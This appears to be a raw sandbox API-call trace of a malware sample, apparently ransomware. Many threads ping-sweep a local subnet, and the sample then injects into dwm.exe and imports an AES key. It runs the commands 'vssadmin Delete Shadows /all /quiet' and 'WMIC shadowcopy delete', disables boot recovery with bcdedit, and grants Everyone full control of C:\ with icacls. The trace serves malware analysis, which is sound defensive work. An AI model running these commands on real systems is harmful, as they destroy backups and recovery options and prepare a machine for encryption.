	[0220.182] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x4030e0
	[0220.212] SetLastError (dwErrCode=0x57) 
	[0220.218] IcmpCreateFile () returned 0x405fb0
	[0220.228] IcmpSendEcho (IcmpHandle=0x405fb0, DestinationAddress=0xd700a8c0, RequestData=0x1a06fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a06fea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2438
	os_tid = 0x2b8c

	[0220.290] GetLastError () returned 0x57
	[0220.405] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x4034b0
	[0220.461] SetLastError (dwErrCode=0x57) 
	[0220.461] IcmpCreateFile () returned 0x406050
	[0220.465] IcmpSendEcho (IcmpHandle=0x406050, DestinationAddress=0xd800a8c0, RequestData=0x19d7f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19d7f9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2439
	os_tid = 0x2b90

	[0220.506] GetLastError () returned 0x57
	[0220.541] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x403880
	[0220.569] SetLastError (dwErrCode=0x57) 
	[0220.569] IcmpCreateFile () returned 0x4060f0
	[0220.569] IcmpSendEcho (IcmpHandle=0x4060f0, DestinationAddress=0xd900a8c0, RequestData=0x1a23f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a23f860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2440
	os_tid = 0x2b94

	[0220.571] GetLastError () returned 0x57
	[0220.571] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x403c50
	[0220.571] SetLastError (dwErrCode=0x57) 
	[0220.572] IcmpCreateFile () returned 0x406190
	[0220.572] IcmpSendEcho (IcmpHandle=0x406190, DestinationAddress=0xda00a8c0, RequestData=0x1a38fb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a38fb40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2441
	os_tid = 0x2b98

	[0220.574] GetLastError () returned 0x57
	[0220.575] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x404020
	[0220.575] SetLastError (dwErrCode=0x57) 
	[0220.575] IcmpCreateFile () returned 0x406230
	[0220.575] IcmpSendEcho (IcmpHandle=0x406230, DestinationAddress=0xdb00a8c0, RequestData=0x1a5bf8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a5bf8e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2442
	os_tid = 0x2b9c

	[0222.070] GetLastError () returned 0x57
	[0222.070] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x4043f0
	[0222.071] SetLastError (dwErrCode=0x57) 
	[0222.071] IcmpCreateFile () returned 0x4062d0
	[0222.071] IcmpSendEcho (IcmpHandle=0x4062d0, DestinationAddress=0xdc00a8c0, RequestData=0x1a7afa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a7afa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2443
	os_tid = 0x2ba0

	[0222.074] GetLastError () returned 0x57
	[0222.074] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x4047c0
	[0222.075] SetLastError (dwErrCode=0x57) 
	[0222.075] IcmpCreateFile () returned 0x406370
	[0222.075] IcmpSendEcho (IcmpHandle=0x406370, DestinationAddress=0xdd00a8c0, RequestData=0x1a9df960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a9df980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2444
	os_tid = 0x2ba4

	[0222.077] GetLastError () returned 0x57
	[0222.077] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x404b90
	[0222.078] SetLastError (dwErrCode=0x57) 
	[0222.078] IcmpCreateFile () returned 0x406410
	[0222.078] IcmpSendEcho (IcmpHandle=0x406410, DestinationAddress=0xde00a8c0, RequestData=0x1516fa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1516fa60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2445
	os_tid = 0x2ba8

	[0222.080] GetLastError () returned 0x57
	[0222.080] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x404f60
	[0222.081] SetLastError (dwErrCode=0x57) 
	[0222.081] IcmpCreateFile () returned 0x4064b0
	[0222.083] IcmpSendEcho (IcmpHandle=0x4064b0, DestinationAddress=0xdf00a8c0, RequestData=0x1ab2f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ab2f860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2446
	os_tid = 0x2bac

	[0222.085] GetLastError () returned 0x57
	[0222.086] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x405330
	[0222.086] SetLastError (dwErrCode=0x57) 
	[0222.086] IcmpCreateFile () returned 0x406550
	[0222.086] IcmpSendEcho (IcmpHandle=0x406550, DestinationAddress=0xe000a8c0, RequestData=0x1ac9fba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ac9fbc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2447
	os_tid = 0x2bb0

	[0222.088] GetLastError () returned 0x57
	[0222.088] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x405700
	[0222.088] SetLastError (dwErrCode=0x57) 
	[0222.089] IcmpCreateFile () returned 0x4065f0
	[0222.089] IcmpSendEcho (IcmpHandle=0x4065f0, DestinationAddress=0xe100a8c0, RequestData=0x1aecfd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1aecfda0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2448
	os_tid = 0x2bb4

	[0222.091] GetLastError () returned 0x57
	[0222.091] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x408a70
	[0222.094] SetLastError (dwErrCode=0x57) 
	[0222.094] IcmpCreateFile () returned 0x406690
	[0222.094] IcmpSendEcho (IcmpHandle=0x406690, DestinationAddress=0xe200a8c0, RequestData=0x1b0dfb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b0dfb20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2449
	os_tid = 0x2bb8

	[0222.115] GetLastError () returned 0x57
	[0222.115] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x408e40
	[0222.126] SetLastError (dwErrCode=0x57) 
	[0222.126] IcmpCreateFile () returned 0x406730
	[0222.126] IcmpSendEcho (IcmpHandle=0x406730, DestinationAddress=0xe300a8c0, RequestData=0x1b2af820, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b2af840, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2450
	os_tid = 0x2bbc

	[0222.162] GetLastError () returned 0x57
	[0222.164] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x409210
	[0222.165] SetLastError (dwErrCode=0x57) 
	[0222.165] IcmpCreateFile () returned 0x4067d0
	[0222.165] IcmpSendEcho (IcmpHandle=0x4067d0, DestinationAddress=0xe400a8c0, RequestData=0x1afdfb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1afdfb80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2451
	os_tid = 0x2bc0

	[0222.772] GetLastError () returned 0x57
	[0222.772] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x4095e0
	[0222.773] SetLastError (dwErrCode=0x57) 
	[0222.773] IcmpCreateFile () returned 0x406870
	[0222.773] IcmpSendEcho (IcmpHandle=0x406870, DestinationAddress=0xe500a8c0, RequestData=0x1a8dfea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a8dfec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2465
	os_tid = 0x548

	[0222.775] GetLastError () returned 0x57
	[0222.775] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x4099b0
	[0222.775] SetLastError (dwErrCode=0x57) 
	[0222.775] IcmpCreateFile () returned 0x406910
	[0222.776] IcmpSendEcho (IcmpHandle=0x406910, DestinationAddress=0xe600a8c0, RequestData=0x9e8f9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9e8f9e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2466
	os_tid = 0x225c

	[0222.777] GetLastError () returned 0x57
	[0222.777] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x409d80
	[0222.778] SetLastError (dwErrCode=0x57) 
	[0222.778] IcmpCreateFile () returned 0x4069b0
	[0222.778] IcmpSendEcho (IcmpHandle=0x4069b0, DestinationAddress=0xe700a8c0, RequestData=0x1b45fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b45fba0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2467
	os_tid = 0x53c

	[0222.780] GetLastError () returned 0x57
	[0222.780] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x40a150
	[0222.781] SetLastError (dwErrCode=0x57) 
	[0222.781] IcmpCreateFile () returned 0x406a50
	[0222.781] IcmpSendEcho (IcmpHandle=0x406a50, DestinationAddress=0xe800a8c0, RequestData=0x1b6afd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b6afd20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2468
	os_tid = 0x5b8

	[0222.783] GetLastError () returned 0x57
	[0222.783] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x40a520
	[0222.783] SetLastError (dwErrCode=0x57) 
	[0222.784] IcmpCreateFile () returned 0x406af0
	[0222.784] IcmpSendEcho (IcmpHandle=0x406af0, DestinationAddress=0xe900a8c0, RequestData=0x1a49fc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a49fc80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2469
	os_tid = 0x534

	[0222.785] GetLastError () returned 0x57
	[0222.786] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x40a8f0
	[0222.786] SetLastError (dwErrCode=0x57) 
	[0222.786] IcmpCreateFile () returned 0x406b90
	[0222.786] IcmpSendEcho (IcmpHandle=0x406b90, DestinationAddress=0xea00a8c0, RequestData=0x1b8df700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b8df720, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2470
	os_tid = 0x2880

	[0222.788] GetLastError () returned 0x57
	[0222.788] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x40acc0
	[0222.788] SetLastError (dwErrCode=0x57) 
	[0222.788] IcmpCreateFile () returned 0x406c30
	[0222.788] IcmpSendEcho (IcmpHandle=0x406c30, DestinationAddress=0xeb00a8c0, RequestData=0x1ba0f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ba0f940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2471
	os_tid = 0x28d0

	[0222.791] GetLastError () returned 0x57
	[0222.791] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x40b090
	[0222.791] SetLastError (dwErrCode=0x57) 
	[0222.791] IcmpCreateFile () returned 0x406cd0
	[0222.791] IcmpSendEcho (IcmpHandle=0x406cd0, DestinationAddress=0xec00a8c0, RequestData=0x1bb9fec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bb9fee0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2472
	os_tid = 0x2c04

	[0222.793] GetLastError () returned 0x57
	[0222.793] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x40b460
	[0222.794] SetLastError (dwErrCode=0x57) 
	[0222.794] IcmpCreateFile () returned 0x34cf50
	[0222.794] IcmpSendEcho (IcmpHandle=0x34cf50, DestinationAddress=0xed00a8c0, RequestData=0x1bd4fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bd4fea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2473
	os_tid = 0x2c08

	[0223.220] GetLastError () returned 0x57
	[0223.221] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x39ad90
	[0223.221] SetLastError (dwErrCode=0x57) 
	[0223.221] IcmpCreateFile () returned 0x3f0230
	[0223.221] IcmpSendEcho (IcmpHandle=0x3f0230, DestinationAddress=0xee00a8c0, RequestData=0x1be5fa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1be5fa40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2488
	os_tid = 0x2c44

	[0223.223] GetLastError () returned 0x57
	[0223.223] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x40b830
	[0223.224] SetLastError (dwErrCode=0x57) 
	[0223.224] IcmpCreateFile () returned 0x414a70
	[0223.224] IcmpSendEcho (IcmpHandle=0x414a70, DestinationAddress=0xef00a8c0, RequestData=0x1c00fee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c00ff00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2489
	os_tid = 0x2c48

	[0223.226] GetLastError () returned 0x57
	[0223.226] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x40bc00
	[0223.226] SetLastError (dwErrCode=0x57) 
	[0223.226] IcmpCreateFile () returned 0x414b10
	[0223.226] IcmpSendEcho (IcmpHandle=0x414b10, DestinationAddress=0xf000a8c0, RequestData=0x1b7bf7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b7bf800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2490
	os_tid = 0x2c4c

	[0223.228] GetLastError () returned 0x57
	[0223.228] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x40bfd0
	[0223.229] SetLastError (dwErrCode=0x57) 
	[0223.229] IcmpCreateFile () returned 0x414bb0
	[0223.229] IcmpSendEcho (IcmpHandle=0x414bb0, DestinationAddress=0xf100a8c0, RequestData=0x198df800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x198df820, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2491
	os_tid = 0x2c50

	[0223.231] GetLastError () returned 0x57
	[0223.231] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x40c3a0
	[0223.231] SetLastError (dwErrCode=0x57) 
	[0223.231] IcmpCreateFile () returned 0x414c50
	[0223.232] IcmpSendEcho (IcmpHandle=0x414c50, DestinationAddress=0xf200a8c0, RequestData=0x1ad9fd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ad9fd80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2492
	os_tid = 0x2c54

	[0223.233] GetLastError () returned 0x57
	[0223.234] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x415a70
	[0223.236] SetLastError (dwErrCode=0x57) 
	[0223.236] IcmpCreateFile () returned 0x414cf0
	[0223.236] IcmpSendEcho (IcmpHandle=0x414cf0, DestinationAddress=0xf300a8c0, RequestData=0x1c10fb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c10fb80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2493
	os_tid = 0x2c58

	[0223.238] GetLastError () returned 0x57
	[0223.238] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x415e40
	[0223.239] SetLastError (dwErrCode=0x57) 
	[0223.239] IcmpCreateFile () returned 0x414d90
	[0223.239] IcmpSendEcho (IcmpHandle=0x414d90, DestinationAddress=0xf400a8c0, RequestData=0x1c38fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c38fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2494
	os_tid = 0x2c5c

	[0223.241] GetLastError () returned 0x57
	[0223.241] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x416210
	[0223.241] SetLastError (dwErrCode=0x57) 
	[0223.241] IcmpCreateFile () returned 0x414e30
	[0223.241] IcmpSendEcho (IcmpHandle=0x414e30, DestinationAddress=0xf500a8c0, RequestData=0x1c22f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c22f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2495
	os_tid = 0x2c60

	[0223.243] GetLastError () returned 0x57
	[0223.243] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x4165e0
	[0223.243] SetLastError (dwErrCode=0x57) 
	[0223.243] IcmpCreateFile () returned 0x414ed0
	[0223.244] IcmpSendEcho (IcmpHandle=0x414ed0, DestinationAddress=0xf600a8c0, RequestData=0x1c4ef920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c4ef940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2496
	os_tid = 0x2c64

	[0223.245] GetLastError () returned 0x57
	[0223.245] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x4169b0
	[0223.246] SetLastError (dwErrCode=0x57) 
	[0223.246] IcmpCreateFile () returned 0x414f70
	[0223.246] IcmpSendEcho (IcmpHandle=0x414f70, DestinationAddress=0xf700a8c0, RequestData=0x1c70fe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c70fe20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2497
	os_tid = 0x2c68

	[0223.248] GetLastError () returned 0x57
	[0223.248] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x416d80
	[0223.249] SetLastError (dwErrCode=0x57) 
	[0223.249] IcmpCreateFile () returned 0x415010
	[0223.249] IcmpSendEcho (IcmpHandle=0x415010, DestinationAddress=0xf800a8c0, RequestData=0x1c60f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c60f740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2498
	os_tid = 0x2c6c

	[0223.250] GetLastError () returned 0x57
	[0223.251] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x417150
	[0223.252] SetLastError (dwErrCode=0x57) 
	[0223.252] IcmpCreateFile () returned 0x4150b0
	[0223.252] IcmpSendEcho (IcmpHandle=0x4150b0, DestinationAddress=0xf900a8c0, RequestData=0x1c84fa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c84fa60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2499
	os_tid = 0x2c70

	[0223.253] GetLastError () returned 0x57
	[0223.253] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x417520
	[0223.254] SetLastError (dwErrCode=0x57) 
	[0223.254] IcmpCreateFile () returned 0x415150
	[0223.254] IcmpSendEcho (IcmpHandle=0x415150, DestinationAddress=0xfa00a8c0, RequestData=0x1ca0fba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ca0fbc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2500
	os_tid = 0x2c74

	[0223.256] GetLastError () returned 0x57
	[0223.256] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x4178f0
	[0223.256] SetLastError (dwErrCode=0x57) 
	[0223.256] IcmpCreateFile () returned 0x4151f0
	[0223.256] IcmpSendEcho (IcmpHandle=0x4151f0, DestinationAddress=0xfb00a8c0, RequestData=0x1cc0f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1cc0f740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2501
	os_tid = 0x2c78

	[0223.258] GetLastError () returned 0x57
	[0223.258] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x417cc0
	[0223.258] SetLastError (dwErrCode=0x57) 
	[0223.259] IcmpCreateFile () returned 0x415290
	[0223.259] IcmpSendEcho (IcmpHandle=0x415290, DestinationAddress=0xfc00a8c0, RequestData=0x1cd7fa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1cd7fa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2502
	os_tid = 0x2c7c

	[0223.260] GetLastError () returned 0x57
	[0223.261] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x418090
	[0223.261] SetLastError (dwErrCode=0x57) 
	[0223.261] IcmpCreateFile () returned 0x415330
	[0223.261] IcmpSendEcho (IcmpHandle=0x415330, DestinationAddress=0xfd00a8c0, RequestData=0x1ce8fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ce8fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2503
	os_tid = 0x2c80

	[0223.263] GetLastError () returned 0x57
	[0223.263] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x418460
	[0223.263] SetLastError (dwErrCode=0x57) 
	[0223.263] IcmpCreateFile () returned 0x4153d0
	[0223.263] IcmpSendEcho (IcmpHandle=0x4153d0, DestinationAddress=0xfe00a8c0, RequestData=0x1d0bf700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1d0bf720, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3708
	os_tid = 0x3ec8


Process:
	id = "4"
	image_name = "dwm.exe"
	filename = "c:\\windows\\system32\\dwm.exe"
	page_root = "0x69a6000"
	os_pid = "0x434"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "injection"
	parent_id = "1"
	os_parent_pid = "0x338"
	cmd_line = "\"C:\\Windows\\system32\\Dwm.exe\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 9
	os_tid = 0x364


Thread:
	id = 10
	os_tid = 0x44c


Thread:
	id = 11
	os_tid = 0x440


Thread:
	id = 12
	os_tid = 0x438


Thread:
	id = 13
	os_tid = 0x864

	[0103.657] GetVersionExW (in: lpVersionInformation=0x26afae0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x26afae0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0103.665] GetWindowsDirectoryW (in: lpBuffer=0x26afb90, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0103.672] SetLastError (dwErrCode=0x0) 
	[0103.673] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0103.673] GetLastError () returned 0x2
	[0103.673] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x13c
	[0103.775] Sleep (dwMilliseconds=0x1388) 
	[0109.261] SetLastError (dwErrCode=0x0) 
	[0109.261] GetCurrentThread () returned 0xfffffffffffffffe
	[0109.261] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x26af350 | out: TokenHandle=0x26af350*=0x0) returned 0
	[0109.261] GetLastError () returned 0x3f0
	[0109.262] ImpersonateSelf (ImpersonationLevel=0x2) returned 1
	[0109.263] GetCurrentThread () returned 0xfffffffffffffffe
	[0109.263] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x26af350 | out: TokenHandle=0x26af350*=0x134) returned 1
	[0109.264] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x26af2d8 | out: lpLuid=0x26af2d8*(LowPart=0x11, HighPart=0)) returned 1
	[0109.269] AdjustTokenPrivileges (in: TokenHandle=0x134, DisableAllPrivileges=0, NewState=0x26af2a0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0109.269] GetLastError () returned 0x514
	[0109.269] GetVersionExW (in: lpVersionInformation=0x26af190*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x26af190*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0109.269] GetWindowsDirectoryW (in: lpBuffer=0x13fd4dad0, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0109.269] GetWindowsDirectoryW (in: lpBuffer=0x13fd4dc90, uSize=0x140 | out: lpBuffer="C:\\Windows") returned 0xa
	[0109.499] CryptAcquireContextW (in: phProv=0x13fd4db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x10 | out: phProv=0x13fd4db38*=0x0) returned 0
	[0111.390] CryptAcquireContextW (in: phProv=0x13fd4db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x20 | out: phProv=0x13fd4db38*=0x0) returned 0
	[0111.918] CryptAcquireContextW (in: phProv=0x13fd4db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x28 | out: phProv=0x13fd4db38*=0x7db40) returned 1
	[0111.941] CryptImportKey (in: hProv=0x7db40, pbData=0x13fc0e310, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x1, phKey=0x13fd4dc80 | out: phKey=0x13fd4dc80*=0x88620) returned 1
	[0111.941] Sleep (dwMilliseconds=0x3e8) 
	[0113.162] WinExec (lpCmdLine="cmd /c \"WMIC.exe shadowcopy delete\"", uCmdShow=0x0) returned 0x21
	[0113.728] WinExec (lpCmdLine="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\"", uCmdShow=0x0) returned 0x21
	[0114.204] WinExec (lpCmdLine="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\"", uCmdShow=0x0) returned 0x21
	[0114.220] WinExec (lpCmdLine="cmd /c \"bootstatuspolicy ignoreallfailures\"", uCmdShow=0x0) returned 0x21
	[0115.300] GetLogicalDrives () returned 0x4
	[0115.308] WinExec (lpCmdLine="icacls \"C:\\*\" /grant Everyone:F /T /C /Q", uCmdShow=0x0) returned 0x21
	[0116.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf5938, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138
	[0116.492] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x27d0000
	[0116.493] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000
	[0116.493] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x28d0000
	[0116.493] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1f60000
	[0116.494] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x29d0000
	[0116.494] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1f70000
	[0116.494] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2ad0000
	[0116.495] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x20f0000
	[0116.495] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2bd0000
